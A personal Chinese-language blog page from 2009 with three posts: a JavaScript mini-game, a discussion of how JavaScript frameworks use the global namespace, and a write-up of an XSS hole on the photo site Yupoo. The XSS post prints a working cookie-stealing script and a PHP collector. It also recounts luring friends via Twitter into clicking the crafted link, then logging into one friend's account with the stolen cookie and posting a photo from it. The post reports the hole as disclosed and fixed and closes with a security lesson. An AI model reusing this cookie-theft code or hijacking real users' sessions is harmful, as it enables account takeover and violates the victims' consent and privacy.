Javascript 小游戏，「是男人坚持 100 次」

2009-01-22

佛爷去了公司的年夜饭，我有点无聊就在公司 Coding 点东西玩玩，于是就有了这玩意。请允许我很猥·琐得将这个游戏称之为「是男人坚持 100 次」（坦白讲，我是死活玩不到这个级别了）。

原定两个小时搞定的脚本，结果花了我将近三个小时的时间。完事后我在 Twitter 上记录下心得结果被群殴（看来 Twitter 不能当作笔记本），还是记录到 Blog 里比较靠谱

对技术实现有兴趣的朋友可以看下核心的 Javascript 代码，欢迎提任何建议。PS，在内测的时，虽然这小游戏是我写的，但发现谁都比我玩得好，真是没有脸活了。

顺便八卦： Javascript 做游戏并不是不可能。从目前的情况以及效果和成本看，还是使用 Flash 比较得当。到 HTML5 以及 Canvas 普及以后，这情况可能会有所改变，不过在这之前谁又能等的了呢。

最后，游戏地址：

http://friable.rocks/dazing/ 也写了个 Javascript 小游戏，我称之为「天上地下打不死」，有兴趣也可以看看。

全局空间的「污染」哲学

2009-01-21

八卦文章，所以标题党下，见笑。期前编写 JavaScript 框架的规则，玉伯在他的 Blog 已有提到。而今天看见 Ajaxian 上收集的目前主流 JavaScript 框架占用的全局空间变量数目，我也忍不住八卦下。

大家或许都知道，使用全局空间要格外的谨慎，如果滥用全局空间会造成诸多问题。随着 Javascript 的框架越来越多，不同的设计哲学相互碰撞，形成很有趣的局面：

其实，从上面几个图就能看出 Javascript 框架能分成几个流派，就我使用过的几个典型的框架，谈下我的看法：

YUI 看起来像是少林寺，代码调理清晰谨慎也非常容易阅读和理解，但略显庞大和臃肿。其使用全局空间的方式，也犹如少林寺规一样，不敢「越雷池」半步，如数绑定到了 YAHOO 上。

jQuery 犹如丐帮，使用面广、上手容易，但要学得「降龙十八掌」和「打狗棒」并非易事。对于全局空间的态度也虽谨慎（全部绑定到 jQuery），但大家似乎更习惯使用「$」，而忘记还有个 jQuery 变量。

Mootools/Prototype 很逍遥派，代码优雅高效，但真正理解的掌握需要有高深的内功。全局空间上使用也近乎随意，甚至对浏览器内置的功能也有不同程度的扩展。Mootools 的作者也讨论过相关的设计哲学，在这里就不复述。

另外还有个很有趣的现象，就是似乎大家都很喜欢使用美元符「$」变量。但这意味着如果载入不同的框架，就会造成命名空间的相互污染（详细）。

避免全局空间的污染，在一定程度上能避免以后自找麻烦，也更有利于代码的模块化。撇开上述框架的八卦，在编写实际代码时更应该注意全局空间的污染问题。

2009-01-14

声明：此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果，本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞，它能执行任意的前端代码。

漏洞产生的原因主要有两点，首先是表单虽然定为 POST 方法，但尝试后发现 GET 参数也可以接收的；其次，也是最致命的是，输入的参数没有经过任何的转义和过滤，就被加入到了页面中。

于是插入了相应的 Javascript 代码，并构成了 XSS （参看图中 input 参数后面的 value 已经构成了 script 标签）。

弹出个 alert 框似乎并不能说明什么问题，最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴，我在 Twitter 上发了信息并「引诱」朋友们去点击伪造后的连接（我承认很猥琐）。

不一会就收集了某兄弟的 Cookie，于是将其 Cookie 内容填到了本地浏览器上（谢天谢地，Yupoo 的 Cookie 不是很多）。

再次刷新浏览器，已经使用该用户的帐号登陆了（即便此时我还不知道他的密码）。

最后，使用此帐户发张本人的艳·照，纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞，效率真高！赞！

-- Split --

总结：上述攻击的手段，仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便，但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降，前端正在改变这这个世界。前端代码的安全问题，是每个前端从业人员必须去面对和注意的。